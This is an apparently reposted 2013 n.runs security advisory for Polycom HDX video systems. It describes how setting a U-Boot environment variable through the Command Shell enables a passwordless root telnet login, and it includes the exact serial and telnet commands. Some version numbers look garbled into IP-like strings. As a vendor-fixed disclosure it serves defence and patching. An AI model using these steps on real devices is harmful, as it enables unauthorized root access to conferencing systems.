Back to list
n.runs-SA-2013.001 - Polycom - Command Shell Grants System-Level Access
Mar 15 2013 05:44PM
security nruns com
Vendor: Polycom, http://www.polycom.com
Affected Products: Polycom HDX Series
Affected Version: < 18.104.22.168
Vulnerability: Polycom Command Shell Grants System-Level Access
The Polycom Command Shell is a command-line based administrative interface
to the Polycom HDX system. It can be accessed either via a RS-232 serial
connection or via telnet on port 23.
The Polycom Command Shell can be used to view and also change several
settings of the system. However it can also be used to get system-level
access (i.e. root access) to the HDX system. The "printenv" and "setenv"
commands can be used to read and write variables respectively which are
stored in flash memory.
The easiest way to get root access to the HDX system is to enable the
"development mode" of the system which will then enable a telnet server
where a root login without a password is possible. In order to enable
the development mode, the "devboot" U-Boot environment variable must
be set. This can be done through the Polycom Command Shell with the
$ cu -l ttyUSB0 -s 9600
-> setenv othbootargs "devboot=bogus"
reboot, are you sure? <y,n> y
This will reboot the system and enable a telnet server where a login as
root is possible.
$ telnet 192.168.0.218
Connected to 192.168.0.218.
Escape character is '^]'.
hdx7000.lan login: root
## Error: "vidoutsize" not defined
# uname -a
Linux hdx7000.lan 22.214.171.124.p2.14 #1 PREEMPT Wed Feb 3 10:25:31 CST 2010
Someone with legitimate access to the Polycom Command Shell can get
direct system-level access to the underlying embedded Linux system.
This can be used to further analyze the system.
Polycom released version 126.96.36.199 of the HDX software which fixes this
issue. It can be downloaded from the Polycom Support page at
Bug found by Moritz Jodeit of n.runs AG.
Unaltered electronic reproduction of this advisory is permitted. For all
other reproduction or publication, in printing or otherwise, contact
security (at) nruns (dot) com [email concealed] for permission. Use of the advisory constitutes
acceptance for use in an "as is" condition. All warranties are excluded.
In no event shall n.runs be liable for any damages whatsoever including
direct, indirect, incidental, consequential, loss of business profits or
special damages, even if n.runs has been advised of the possibility of
[ reply ]
Copyright 2010, SecurityFocus